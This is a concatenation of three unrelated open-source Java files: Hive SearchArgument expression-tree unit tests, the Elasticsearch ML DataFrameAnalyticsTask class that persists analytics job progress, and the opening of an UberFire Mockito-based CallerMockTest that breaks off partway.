return new ExpressionTree(ExpressionTree.Operator.NOT, arg);
}
private ExpressionTree and(ExpressionTree... arg) {
return new ExpressionTree(ExpressionTree.Operator.AND, arg);
}
private ExpressionTree or(ExpressionTree... arg) {
return new ExpressionTree(ExpressionTree.Operator.OR, arg);
}
private ExpressionTree leaf(int leaf) {
return new ExpressionTree(leaf);
}
private ExpressionTree constant(TruthValue val) {
return new ExpressionTree(val);
}
/**
* Create a predicate leaf. This is used by another test.
*/
public static PredicateLeaf createPredicateLeaf(PredicateLeaf.Operator operator,
PredicateLeaf.Type type,
String columnName,
Object literal,
List<Object> literalList) {
return new SearchArgumentImpl.PredicateLeafImpl(operator, type, columnName,
literal, literalList, null);
}
@Test
public void testNotPushdown() throws Exception {
assertEquals("leaf-1", SearchArgumentImpl.BuilderImpl.pushDownNot(leaf(1))
.toString());
assertEquals("(not leaf-1)",
SearchArgumentImpl.BuilderImpl.pushDownNot(not(leaf(1))).toString());
assertEquals("leaf-1",
SearchArgumentImpl.BuilderImpl.pushDownNot(not(not(leaf(1))))
.toString());
assertEquals("(not leaf-1)",
SearchArgumentImpl.BuilderImpl.pushDownNot(not(not(not(leaf(1))))).
toString());
assertEquals("(or leaf-1 (not leaf-2))",
SearchArgumentImpl.BuilderImpl.pushDownNot(not(and(not(leaf(1)),
leaf(2)))).toString());
assertEquals("(and (not leaf-1) leaf-2)",
SearchArgumentImpl.BuilderImpl.pushDownNot(not(or(leaf(1),
not(leaf(2))))).toString());
assertEquals("(or (or (not leaf-1) leaf-2) leaf-3)",
SearchArgumentImpl.BuilderImpl.pushDownNot(or(not(and(leaf(1),
not(leaf(2)))),
not(not(leaf(3))))).toString());
assertEquals("NO", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.YES))).toString());
assertEquals("YES", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.NO))).toString());
assertEquals("NULL", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.NULL))).toString());
assertEquals("YES_NO", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.YES_NO))).toString());
assertEquals("YES_NULL", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.NO_NULL))).toString());
assertEquals("NO_NULL", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.YES_NULL))).toString());
assertEquals("YES_NO_NULL", SearchArgumentImpl.BuilderImpl.pushDownNot(
not(constant(TruthValue.YES_NO_NULL))).toString());
}
@Test
public void testFlatten() throws Exception {
assertEquals("leaf-1", SearchArgumentImpl.BuilderImpl.flatten(leaf(1)).toString());
assertEquals("NO",
SearchArgumentImpl.BuilderImpl.flatten(constant(TruthValue.NO)).toString());
assertEquals("(not (not leaf-1))",
SearchArgumentImpl.BuilderImpl.flatten(not(not(leaf(1)))).toString());
assertEquals("(and leaf-1 leaf-2)",
SearchArgumentImpl.BuilderImpl.flatten(and(leaf(1), leaf(2))).toString());
assertEquals("(and (or leaf-1 leaf-2) leaf-3)",
SearchArgumentImpl.BuilderImpl.flatten(and(or(leaf(1), leaf(2)), leaf(3))
).toString());
assertEquals("(and leaf-1 leaf-2 leaf-3 leaf-4)",
SearchArgumentImpl.BuilderImpl.flatten(and(and(leaf(1), leaf(2)),
and(leaf(3), leaf(4)))).toString());
assertEquals("(or leaf-1 leaf-2 leaf-3 leaf-4)",
SearchArgumentImpl.BuilderImpl.flatten(or(leaf(1), or(leaf(2), or(leaf(3),
leaf(4))))).toString());
assertEquals("(or leaf-1 leaf-2 leaf-3 leaf-4)",
SearchArgumentImpl.BuilderImpl.flatten(or(or(or(leaf(1), leaf(2)), leaf(3)),
leaf(4))).toString());
assertEquals("(or leaf-1 leaf-2 leaf-3 leaf-4 leaf-5 leaf-6)",
SearchArgumentImpl.BuilderImpl.flatten(or(or(leaf(1), or(leaf(2), leaf(3))),
or(or(leaf(4), leaf(5)), leaf(6)))).toString());
assertEquals("(and (not leaf-1) leaf-2 (not leaf-3) leaf-4 (not leaf-5) leaf-6)",
SearchArgumentImpl.BuilderImpl.flatten(and(and(not(leaf(1)), and(leaf(2),
not(leaf(3)))), and(and(leaf(4), not(leaf(5))), leaf(6)))
).toString());
assertEquals("(not (and leaf-1 leaf-2 leaf-3))",
SearchArgumentImpl.BuilderImpl.flatten(not(and(leaf(1), and(leaf(2), leaf(3))))
).toString());
}
@Test
public void testFoldMaybe() throws Exception {
assertEquals("(and leaf-1)",
SearchArgumentImpl.BuilderImpl.foldMaybe(and(leaf(1),
constant(TruthValue.YES_NO_NULL))).toString());
assertEquals("(and leaf-1 leaf-2)",
SearchArgumentImpl.BuilderImpl.foldMaybe(and(leaf(1),
constant(TruthValue.YES_NO_NULL), leaf(2))).toString());
assertEquals("(and leaf-1 leaf-2)",
SearchArgumentImpl.BuilderImpl.
foldMaybe(and(constant(TruthValue.YES_NO_NULL),
leaf(1), leaf(2), constant(TruthValue.YES_NO_NULL))).toString());
assertEquals("YES_NO_NULL",
SearchArgumentImpl.BuilderImpl.
foldMaybe(and(constant(TruthValue.YES_NO_NULL),
constant(TruthValue.YES_NO_NULL))).toString());
assertEquals("YES_NO_NULL",
SearchArgumentImpl.BuilderImpl.
foldMaybe(or(leaf(1),
constant(TruthValue.YES_NO_NULL))).toString());
assertEquals("(or leaf-1 (and leaf-2))",
SearchArgumentImpl.BuilderImpl.foldMaybe(or(leaf(1),
and(leaf(2), constant(TruthValue.YES_NO_NULL)))).toString());
assertEquals("(and leaf-1)",
SearchArgumentImpl.BuilderImpl.foldMaybe(and(or(leaf(2),
constant(TruthValue.YES_NO_NULL)), leaf(1))).toString());
assertEquals("(and leaf-100)", SearchArgumentImpl.BuilderImpl.foldMaybe(
SearchArgumentImpl.BuilderImpl.convertToCNF(and(leaf(100),
or(and(leaf(0), leaf(1)),
and(leaf(2), leaf(3)),
and(leaf(4), leaf(5)),
and(leaf(6), leaf(7)),
and(leaf(8), leaf(9)),
and(leaf(10), leaf(11)),
and(leaf(12), leaf(13)),
and(leaf(14), leaf(15)),
and(leaf(16), leaf(17)))))).toString());
}
@Test
public void testCNF() throws Exception {
assertEquals("leaf-1", SearchArgumentImpl.BuilderImpl.convertToCNF(leaf(1)).
toString());
assertEquals("NO", SearchArgumentImpl.BuilderImpl.convertToCNF(
constant(TruthValue.NO)).toString());
assertEquals("(not leaf-1)", SearchArgumentImpl.BuilderImpl.convertToCNF(
not(leaf(1))).toString());
assertEquals("(and leaf-1 leaf-2)", SearchArgumentImpl.BuilderImpl.
convertToCNF(
and(leaf(1), leaf(2))).toString());
assertEquals("(or (not leaf-1) leaf-2)", SearchArgumentImpl.BuilderImpl.
convertToCNF(
or(not(leaf(1)), leaf(2))).toString());
assertEquals("(and (or leaf-1 leaf-2) (not leaf-3))",
SearchArgumentImpl.BuilderImpl.convertToCNF(
and(or(leaf(1), leaf(2)), not(leaf(3)))).toString());
assertEquals("(and (or leaf-1 leaf-3) (or leaf-2 leaf-3)" +
" (or leaf-1 leaf-4) (or leaf-2 leaf-4))",
SearchArgumentImpl.BuilderImpl.convertToCNF(
or(and(leaf(1), leaf(2)), and(leaf(3), leaf(4)))).toString());
assertEquals("(and" +
" (or leaf-1 leaf-5) (or leaf-2 leaf-5)" +
" (or leaf-3 leaf-5) (or leaf-4 leaf-5)" +
" (or leaf-1 leaf-6) (or leaf-2 leaf-6)" +
" (or leaf-3 leaf-6) (or leaf-4 leaf-6))",
SearchArgumentImpl.BuilderImpl.convertToCNF(
or(and(leaf(1), leaf(2), leaf(3), leaf(4)),
and(leaf(5), leaf(6)))).toString());
assertEquals("(and" +
" (or leaf-5 leaf-6 (not leaf-7) leaf-1 leaf-3)" +
" (or leaf-5 leaf-6 (not leaf-7) leaf-2 leaf-3)" +
" (or leaf-5 leaf-6 (not leaf-7) leaf-1 leaf-4)" +
" (or leaf-5 leaf-6 (not leaf-7) leaf-2 leaf-4))",
SearchArgumentImpl.BuilderImpl.convertToCNF(
or(and(leaf(1), leaf(2)),
and(leaf(3), leaf(4)),
or(leaf(5), leaf(6)),
not(leaf(7)))).toString());
assertEquals("(and" +
" (or leaf-8 leaf-0 leaf-3 leaf-6)" +
" (or leaf-8 leaf-1 leaf-3 leaf-6)" +
" (or leaf-8 leaf-2 leaf-3 leaf-6)" +
" (or leaf-8 leaf-0 leaf-4 leaf-6)" +
" (or leaf-8 leaf-1 leaf-4 leaf-6)" +
" (or leaf-8 leaf-2 leaf-4 leaf-6)" +
" (or leaf-8 leaf-0 leaf-5 leaf-6)" +
" (or leaf-8 leaf-1 leaf-5 leaf-6)" +
" (or leaf-8 leaf-2 leaf-5 leaf-6)" +
" (or leaf-8 leaf-0 leaf-3 leaf-7)" +
" (or leaf-8 leaf-1 leaf-3 leaf-7)" +
" (or leaf-8 leaf-2 leaf-3 leaf-7)" +
" (or leaf-8 leaf-0 leaf-4 leaf-7)" +
" (or leaf-8 leaf-1 leaf-4 leaf-7)" +
" (or leaf-8 leaf-2 leaf-4 leaf-7)" +
" (or leaf-8 leaf-0 leaf-5 leaf-7)" +
" (or leaf-8 leaf-1 leaf-5 leaf-7)" +
" (or leaf-8 leaf-2 leaf-5 leaf-7))",
SearchArgumentImpl.BuilderImpl.convertToCNF(or(and(leaf(0), leaf(1),
leaf(2)),
and(leaf(3), leaf(4), leaf(5)),
and(leaf(6), leaf(7)),
leaf(8))).toString());
assertEquals("YES_NO_NULL", SearchArgumentImpl.BuilderImpl.
convertToCNF(or(and(leaf(0), leaf(1)),
and(leaf(2), leaf(3)),
and(leaf(4), leaf(5)),
and(leaf(6), leaf(7)),
and(leaf(8), leaf(9)),
and(leaf(10), leaf(11)),
and(leaf(12), leaf(13)),
and(leaf(14), leaf(15)),
and(leaf(16), leaf(17)))).toString());
assertEquals("(and leaf-100 YES_NO_NULL)", SearchArgumentImpl.BuilderImpl.
convertToCNF(and(leaf(100),
or(and(leaf(0), leaf(1)),
and(leaf(2), leaf(3)),
and(leaf(4), leaf(5)),
and(leaf(6), leaf(7)),
and(leaf(8), leaf(9)),
and(leaf(10), leaf(11)),
and(leaf(12), leaf(13)),
and(leaf(14), leaf(15)),
and(leaf(16), leaf(17))))).toString());
assertNoSharedNodes(SearchArgumentImpl.BuilderImpl.
convertToCNF(or(and(leaf(0), leaf(1), leaf(2)),
and(leaf(3), leaf(4), leaf(5)),
and(leaf(6), leaf(7)),
leaf(8))), Sets.<ExpressionTree>newIdentityHashSet());
}
private static void assertNoSharedNodes(ExpressionTree tree,
Set<ExpressionTree> seen
) throws Exception {
if (seen.contains(tree) &&
tree.getOperator() != ExpressionTree.Operator.LEAF) {
assertTrue("repeated node in expression " + tree, false);
}
seen.add(tree);
if (tree.getChildren() != null) {
for (ExpressionTree child : tree.getChildren()) {
assertNoSharedNodes(child, seen);
}
}
}
@Test
public void testBuilder() throws Exception {
SearchArgument sarg =
SearchArgumentFactory.newBuilder()
.startAnd()
.lessThan("x", PredicateLeaf.Type.LONG, 10L)
.lessThanEquals("y", PredicateLeaf.Type.STRING, "hi")
.equals("z", PredicateLeaf.Type.FLOAT, 1.0)
.end()
.build();
assertEquals("leaf-0 = (LESS_THAN x 10), " +
"leaf-1 = (LESS_THAN_EQUALS y hi), " +
"leaf-2 = (EQUALS z 1.0), " +
"expr = (and leaf-0 leaf-1 leaf-2)", sarg.toString());
sarg = SearchArgumentFactory.newBuilder()
.startNot()
.startOr()
.isNull("x", PredicateLeaf.Type.LONG)
.between("y", PredicateLeaf.Type.LONG, 10L, 20L)
.in("z", PredicateLeaf.Type.LONG, 1L, 2L, 3L)
.nullSafeEquals("a", PredicateLeaf.Type.STRING, "stinger")
.end()
.end()
.build();
assertEquals("leaf-0 = (IS_NULL x), " +
"leaf-1 = (BETWEEN y 10 20), " +
"leaf-2 = (IN z 1 2 3), " +
"leaf-3 = (NULL_SAFE_EQUALS a stinger), " +
"expr = (and (not leaf-0) (not leaf-1) (not leaf-2) (not leaf-3))", sarg.toString());
}
@Test
public void testBuilderComplexTypes() throws Exception {
SearchArgument sarg =
SearchArgumentFactory.newBuilder()
.startAnd()
.lessThan("x", PredicateLeaf.Type.DATE,
Date.valueOf("1970-1-11"))
.lessThanEquals("y", PredicateLeaf.Type.STRING,
new HiveChar("hi", 10).toString())
.equals("z", PredicateLeaf.Type.DECIMAL, new HiveDecimalWritable("1.0"))
.end()
.build();
assertEquals("leaf-0 = (LESS_THAN x 1970-01-11), " +
"leaf-1 = (LESS_THAN_EQUALS y hi ), " +
"leaf-2 = (EQUALS z 1), " +
"expr = (and leaf-0 leaf-1 leaf-2)", sarg.toString());
sarg = SearchArgumentFactory.newBuilder()
.startNot()
.startOr()
.isNull("x", PredicateLeaf.Type.LONG)
.between("y", PredicateLeaf.Type.DECIMAL,
new HiveDecimalWritable("10"), new HiveDecimalWritable("20.0"))
.in("z", PredicateLeaf.Type.LONG, 1L, 2L, 3L)
.nullSafeEquals("a", PredicateLeaf.Type.STRING,
new HiveVarchar("stinger", 100).toString())
.end()
.end()
.build();
assertEquals("leaf-0 = (IS_NULL x), " +
"leaf-1 = (BETWEEN y 10 20), " +
"leaf-2 = (IN z 1 2 3), " +
"leaf-3 = (NULL_SAFE_EQUALS a stinger), " +
"expr = (and (not leaf-0) (not leaf-1) (not leaf-2) (not leaf-3))",
sarg.toString());
}
@Test
public void testBuilderComplexTypes2() throws Exception {
SearchArgument sarg =
SearchArgumentFactory.newBuilder()
.startAnd()
.lessThan("x", PredicateLeaf.Type.DATE, Date.valueOf("2005-3-12"))
.lessThanEquals("y", PredicateLeaf.Type.STRING,
new HiveChar("hi", 10).toString())
.equals("z", PredicateLeaf.Type.DECIMAL,
new HiveDecimalWritable("1.0"))
.end()
.build();
assertEquals("leaf-0 = (LESS_THAN x 2005-03-12), " +
"leaf-1 = (LESS_THAN_EQUALS y hi ), " +
"leaf-2 = (EQUALS z 1), " +
"expr = (and leaf-0 leaf-1 leaf-2)", sarg.toString());
sarg = SearchArgumentFactory.newBuilder()
.startNot()
.startOr()
.isNull("x", PredicateLeaf.Type.LONG)
.between("y", PredicateLeaf.Type.DECIMAL, new HiveDecimalWritable("10"),
new HiveDecimalWritable("20.0"))
.in("z", PredicateLeaf.Type.LONG, 1L, 2L, 3L)
.nullSafeEquals("a", PredicateLeaf.Type.STRING,
new HiveVarchar("stinger", 100).toString())
.end()
.end()
.build();
assertEquals("leaf-0 = (IS_NULL x), " +
"leaf-1 = (BETWEEN y 10 20), " +
"leaf-2 = (IN z 1 2 3), " +
"leaf-3 = (NULL_SAFE_EQUALS a stinger), " +
"expr = (and (not leaf-0) (not leaf-1) (not leaf-2) (not leaf-3))",
sarg.toString());
}
@Test
public void testBuilderFloat() throws Exception {
SearchArgument sarg =
SearchArgumentFactory.newBuilder()
.startAnd()
.lessThan("x", PredicateLeaf.Type.LONG, 22L)
.lessThan("x1", PredicateLeaf.Type.LONG, 22L)
.lessThanEquals("y", PredicateLeaf.Type.STRING,
new HiveChar("hi", 10).toString())
.equals("z", PredicateLeaf.Type.FLOAT, Double.valueOf(0.22))
.equals("z1", PredicateLeaf.Type.FLOAT, Double.valueOf(0.22))
.end()
.build();
assertEquals("leaf-0 = (LESS_THAN x 22), " +
"leaf-1 = (LESS_THAN x1 22), " +
"leaf-2 = (LESS_THAN_EQUALS y hi ), " +
"leaf-3 = (EQUALS z 0.22), " +
"leaf-4 = (EQUALS z1 0.22), " +
"expr = (and leaf-0 leaf-1 leaf-2 leaf-3 leaf-4)", sarg.toString());
}
@Test
public void testTimestampSerialization() throws Exception {
// There is a kryo which after serialize/deserialize,
// Timestamp becomes Date. We get around this issue in
// SearchArgumentImpl.getLiteral. Once kryo fixed the issue
// We can simplify SearchArgumentImpl.getLiteral
Timestamp now = new Timestamp(new java.util.Date().getTime());
SearchArgument sarg =
SearchArgumentFactory.newBuilder()
.startAnd()
.lessThan("x", PredicateLeaf.Type.TIMESTAMP, now)
.end()
.build();
String serializedSarg = TestInputOutputFormat.toKryo(sarg);
SearchArgument sarg2 = ConvertAstToSearchArg.create(serializedSarg);
Field literalField = PredicateLeafImpl.class.getDeclaredField("literal");
literalField.setAccessible(true);
assertTrue(literalField.get(sarg2.getLeaves().get(0)) instanceof java.util.Date);
Timestamp ts = (Timestamp)sarg2.getLeaves().get(0).getLiteral();
assertEquals(ts, now);
}
@Test(expected = IllegalArgumentException.class)
public void testBadLiteral() throws Exception {
SearchArgumentFactory.newBuilder()
.startAnd()
.lessThan("x", PredicateLeaf.Type.LONG, "hi")
.end()
.build();
}
@Test(expected = IllegalArgumentException.class)
public void testBadLiteralList() throws Exception {
SearchArgumentFactory.newBuilder()
.startAnd()
.in("x", PredicateLeaf.Type.STRING, "hi", 23)
.end()
.build();
}
}
| |
/*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License;
* you may not use this file except in compliance with the Elastic License.
*/
package org.elasticsearch.xpack.ml.dataframe;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.message.ParameterizedMessage;
import org.elasticsearch.action.ActionListener;
import org.elasticsearch.action.index.IndexAction;
import org.elasticsearch.action.index.IndexRequest;
import org.elasticsearch.action.index.IndexResponse;
import org.elasticsearch.action.search.SearchAction;
import org.elasticsearch.action.search.SearchRequest;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.action.support.WriteRequest;
import org.elasticsearch.client.Client;
import org.elasticsearch.client.ParentTaskAssigningClient;
import org.elasticsearch.common.unit.TimeValue;
import org.elasticsearch.common.xcontent.XContentBuilder;
import org.elasticsearch.common.xcontent.json.JsonXContent;
import org.elasticsearch.index.query.IdsQueryBuilder;
import org.elasticsearch.persistent.AllocatedPersistentTask;
import org.elasticsearch.persistent.PersistentTasksService;
import org.elasticsearch.search.builder.SearchSourceBuilder;
import org.elasticsearch.tasks.TaskId;
import org.elasticsearch.tasks.TaskManager;
import org.elasticsearch.xpack.core.ml.MlTasks;
import org.elasticsearch.xpack.core.ml.action.StartDataFrameAnalyticsAction;
import org.elasticsearch.xpack.core.ml.action.StopDataFrameAnalyticsAction;
import org.elasticsearch.xpack.core.ml.dataframe.DataFrameAnalyticsState;
import org.elasticsearch.xpack.core.ml.dataframe.DataFrameAnalyticsTaskState;
import org.elasticsearch.xpack.core.ml.job.messages.Messages;
import org.elasticsearch.xpack.core.ml.job.persistence.AnomalyDetectorsIndex;
import org.elasticsearch.xpack.core.ml.utils.ExceptionsHelper;
import org.elasticsearch.xpack.core.ml.utils.PhaseProgress;
import org.elasticsearch.xpack.core.watcher.watch.Payload;
import org.elasticsearch.xpack.ml.dataframe.stats.ProgressTracker;
import org.elasticsearch.xpack.ml.dataframe.stats.StatsHolder;
import org.elasticsearch.xpack.ml.dataframe.steps.DataFrameAnalyticsStep;
import org.elasticsearch.xpack.ml.notifications.DataFrameAnalyticsAuditor;
import org.elasticsearch.xpack.ml.utils.persistence.MlParserUtils;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import static org.elasticsearch.xpack.core.ClientHelper.ML_ORIGIN;
import static org.elasticsearch.xpack.core.ClientHelper.executeAsyncWithOrigin;
public class DataFrameAnalyticsTask extends AllocatedPersistentTask implements StartDataFrameAnalyticsAction.TaskMatcher {
private static final Logger LOGGER = LogManager.getLogger(DataFrameAnalyticsTask.class);
private final Client client;
private final DataFrameAnalyticsManager analyticsManager;
private final DataFrameAnalyticsAuditor auditor;
private final StartDataFrameAnalyticsAction.TaskParams taskParams;
private volatile boolean isStopping;
private volatile boolean isMarkAsCompletedCalled;
private final StatsHolder statsHolder;
private volatile DataFrameAnalyticsStep currentStep;
public DataFrameAnalyticsTask(long id, String type, String action, TaskId parentTask, Map<String, String> headers,
Client client, DataFrameAnalyticsManager analyticsManager, DataFrameAnalyticsAuditor auditor,
StartDataFrameAnalyticsAction.TaskParams taskParams) {
super(id, type, action, MlTasks.DATA_FRAME_ANALYTICS_TASK_ID_PREFIX + taskParams.getId(), parentTask, headers);
this.client = new ParentTaskAssigningClient(Objects.requireNonNull(client), parentTask);
this.analyticsManager = Objects.requireNonNull(analyticsManager);
this.auditor = Objects.requireNonNull(auditor);
this.taskParams = Objects.requireNonNull(taskParams);
this.statsHolder = new StatsHolder(taskParams.getProgressOnStart());
}
public void setStep(DataFrameAnalyticsStep step) {
currentStep = step;
}
public StartDataFrameAnalyticsAction.TaskParams getParams() {
return taskParams;
}
public boolean isStopping() {
return isStopping;
}
public StatsHolder getStatsHolder() {
return statsHolder;
}
@Override
protected void init(PersistentTasksService persistentTasksService,
TaskManager taskManager,
String persistentTaskId,
long allocationId) {
super.init(persistentTasksService, taskManager, persistentTaskId, allocationId);
}
@Override
protected void onCancelled() {
stop(getReasonCancelled(), StopDataFrameAnalyticsAction.DEFAULT_TIMEOUT);
markAsCompleted();
}
@Override
public boolean shouldCancelChildrenOnCancellation() {
// onCancelled implements graceful shutdown of children
return false;
}
@Override
public void markAsCompleted() {
// It is possible that the stop API has been called in the meantime and that
// may also cause this method to be called. We check whether we have already
// been marked completed to avoid doing it twice. We need to capture that
// locally instead of relying to isCompleted() because of the asynchronous
// persistence of progress.
synchronized (this) {
if (isMarkAsCompletedCalled) {
return;
}
isMarkAsCompletedCalled = true;
}
persistProgress(client, taskParams.getId(), () -> super.markAsCompleted());
}
@Override
public void markAsFailed(Exception e) {
persistProgress(client, taskParams.getId(), () -> super.markAsFailed(e));
}
public void stop(String reason, TimeValue timeout) {
isStopping = true;
LOGGER.debug(() -> new ParameterizedMessage("[{}] Stopping task due to reason [{}]", getParams().getId(), reason));
DataFrameAnalyticsStep cachedCurrentStep = currentStep;
ActionListener<Void> stepProgressListener = ActionListener.wrap(
aVoid -> cachedCurrentStep.cancel(reason, timeout),
e -> {
LOGGER.error(new ParameterizedMessage("[{}] Error updating progress for step [{}]",
taskParams.getId(), cachedCurrentStep.name()), e);
// We should log the error but it shouldn't stop us from stopping the task
cachedCurrentStep.cancel(reason, timeout);
}
);
if (cachedCurrentStep != null) {
cachedCurrentStep.updateProgress(stepProgressListener);
}
}
public void setFailed(Exception error) {
if (analyticsManager.isNodeShuttingDown()) {
LOGGER.warn(
new ParameterizedMessage("[{}] *Not* setting task to failed because the node is being shutdown", taskParams.getId()),
error);
return;
}
persistProgress(client, taskParams.getId(), () -> {
LOGGER.error(new ParameterizedMessage("[{}] Setting task to failed", taskParams.getId()), error);
String reason = ExceptionsHelper.unwrapCause(error).getMessage();
DataFrameAnalyticsTaskState newTaskState =
new DataFrameAnalyticsTaskState(DataFrameAnalyticsState.FAILED, getAllocationId(), reason);
updatePersistentTaskState(
newTaskState,
ActionListener.wrap(
updatedTask -> {
String message = Messages.getMessage(Messages.DATA_FRAME_ANALYTICS_AUDIT_UPDATED_STATE_WITH_REASON,
DataFrameAnalyticsState.FAILED, reason);
auditor.info(getParams().getId(), message);
LOGGER.info("[{}] {}", getParams().getId(), message);
},
e -> LOGGER.error(new ParameterizedMessage("[{}] Could not update task state to [{}] with reason [{}]",
getParams().getId(), DataFrameAnalyticsState.FAILED, reason), e)
)
);
});
}
public void persistProgress() {
persistProgress(client, taskParams.getId(), () -> {});
}
// Visible for testing
void persistProgress(Client client, String jobId, Runnable runnable) {
LOGGER.debug("[{}] Persisting progress", jobId);
String progressDocId = StoredProgress.documentId(jobId);
// Step 4: Run the runnable provided as the argument
ActionListener<IndexResponse> indexProgressDocListener = ActionListener.wrap(
indexResponse -> {
LOGGER.debug("[{}] Successfully indexed progress document", jobId);
runnable.run();
},
indexError -> {
LOGGER.error(new ParameterizedMessage(
"[{}] cannot persist progress as an error occurred while indexing", jobId), indexError);
runnable.run();
}
);
// Step 3: Create or update the progress document:
// - if the document did not exist, create the new one in the current write index
// - if the document did exist, update it in the index where it resides (not necessarily the current write index)
ActionListener<SearchResponse> searchFormerProgressDocListener = ActionListener.wrap(
searchResponse -> {
String indexOrAlias = AnomalyDetectorsIndex.jobStateIndexWriteAlias();
StoredProgress previous = null;
if (searchResponse.getHits().getHits().length > 0) {
indexOrAlias = searchResponse.getHits().getHits()[0].getIndex();
try {
previous = MlParserUtils.parse(searchResponse.getHits().getHits()[0], StoredProgress.PARSER);
} catch (Exception ex) {
LOGGER.warn(new ParameterizedMessage("[{}] failed to parse previously stored progress", jobId), ex);
}
}
List<PhaseProgress> progress = statsHolder.getProgressTracker().report();
final StoredProgress progressToStore = new StoredProgress(progress);
if (progressToStore.equals(previous)) {
LOGGER.debug(() -> new ParameterizedMessage(
"[{}] new progress is the same as previously persisted progress. Skipping storage.", jobId));
runnable.run();
return;
}
IndexRequest indexRequest = new IndexRequest(indexOrAlias)
.id(progressDocId)
.setRequireAlias(AnomalyDetectorsIndex.jobStateIndexWriteAlias().equals(indexOrAlias))
.setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE);
try (XContentBuilder jsonBuilder = JsonXContent.contentBuilder()) {
LOGGER.debug(() -> new ParameterizedMessage("[{}] Persisting progress is: {}", jobId, progress));
progressToStore.toXContent(jsonBuilder, Payload.XContent.EMPTY_PARAMS);
indexRequest.source(jsonBuilder);
}
executeAsyncWithOrigin(client, ML_ORIGIN, IndexAction.INSTANCE, indexRequest, indexProgressDocListener);
},
e -> {
LOGGER.error(new ParameterizedMessage(
"[{}] cannot persist progress as an error occurred while retrieving former progress document", jobId), e);
runnable.run();
}
);
// Step 2: Search for existing progress document in .ml-state*
ActionListener<Void> stepProgressUpdateListener = ActionListener.wrap(
aVoid -> {
SearchRequest searchRequest =
new SearchRequest(AnomalyDetectorsIndex.jobStateIndexPattern())
.source(
new SearchSourceBuilder()
.size(1)
.query(new IdsQueryBuilder().addIds(progressDocId)));
executeAsyncWithOrigin(client, ML_ORIGIN, SearchAction.INSTANCE, searchRequest, searchFormerProgressDocListener);
},
e -> {
LOGGER.error(new ParameterizedMessage(
"[{}] cannot persist progress as an error occurred while updating task progress", taskParams.getId()), e);
runnable.run();
}
);
// Step 1: Update reindexing progress as it could be stale
updateTaskProgress(stepProgressUpdateListener);
}
public void updateTaskProgress(ActionListener<Void> updateProgressListener) {
synchronized (this) {
if (currentStep != null) {
currentStep.updateProgress(updateProgressListener);
} else {
updateProgressListener.onResponse(null);
}
}
}
/**
* This captures the possible states a job can be when it starts.
* {@code FIRST_TIME} means the job has never been started before.
* {@code RESUMING_REINDEXING} means the job was stopped while it was reindexing.
* {@code RESUMING_ANALYZING} means the job was stopped while it was analyzing.
* {@code FINISHED} means the job had finished.
*/
public enum StartingState {
FIRST_TIME, RESUMING_REINDEXING, RESUMING_ANALYZING, RESUMING_INFERENCE, FINISHED
}
public StartingState determineStartingState() {
return determineStartingState(taskParams.getId(), statsHolder.getProgressTracker().report());
}
public static StartingState determineStartingState(String jobId, List<PhaseProgress> progressOnStart) {
PhaseProgress lastIncompletePhase = null;
for (PhaseProgress phaseProgress : progressOnStart) {
if (phaseProgress.getProgressPercent() < 100) {
lastIncompletePhase = phaseProgress;
break;
}
}
if (lastIncompletePhase == null) {
return StartingState.FINISHED;
}
LOGGER.debug("[{}] Last incomplete progress [{}, {}]", jobId, lastIncompletePhase.getPhase(),
lastIncompletePhase.getProgressPercent());
if (ProgressTracker.REINDEXING.equals(lastIncompletePhase.getPhase())) {
return lastIncompletePhase.getProgressPercent() == 0 ? StartingState.FIRST_TIME : StartingState.RESUMING_REINDEXING;
}
if (ProgressTracker.INFERENCE.equals(lastIncompletePhase.getPhase())) {
return StartingState.RESUMING_INFERENCE;
}
return StartingState.RESUMING_ANALYZING;
}
}
| |
/*
* Copyright 2015 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.uberfire.mocks;
import javax.inject.Inject;
import org.jboss.errai.common.client.api.Caller;
import org.jboss.errai.common.client.api.ErrorCallback;
import org.jboss.errai.common.client.api.RemoteCallback;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.runners.MockitoJUnitRunner;
import static org.mockito.Mockito.*;
@RunWith(MockitoJUnitRunner.class)
public class CallerMockTest {
SampleTarget sampleTarget;
RemoteCallback<String> successCallBack;
ErrorCallback<String> errorCallBack;
private CallerMock<SampleTarget> callerMock;
private CallerSampleClient callerSample;
@Before
public void setup() {
sampleTarget = mock(SampleTarget.class);
successCallBack = mock(RemoteCallback.class);
errorCallBack = mock(ErrorCallback.class);
}
@Test
public void callerSampleTest() {
callerMock = new CallerMock<SampleTarget>(sampleTarget);
callerSample = new CallerSampleClient(callerMock);
callerSample.targetCall();
verify(sampleTarget).targetCall();
verify(successCallBack,
never()).callback(anyString());
verify(errorCallBack,
never()).error(anyString(),
any(SampleException.class));
}
@Test
public void callerSampleCallBackSuccessTest() {
when(sampleTarget.targetCall()).thenReturn("callback");
callerMock = new CallerMock<SampleTarget>(sampleTarget);
callerSample = new CallerSampleClient(callerMock,
successCallBack,
errorCallBack);
callerSample.targetCallWithSuccessCallBack();
verify(sampleTarget).targetCall();
verify(successCallBack).callback("callback");
verify(errorCallBack,
never()).error(anyString(),
any(SampleException.class));
}
@Test
public void callerSampleCallBackErrorTest() throws SampleException {
when(sampleTarget.targetCallWithCheckedException()).thenThrow(SampleException.class);
callerMock = new CallerMock<SampleTarget>(sampleTarget);
callerSample = new CallerSampleClient(callerMock,
successCallBack,
errorCallBack);
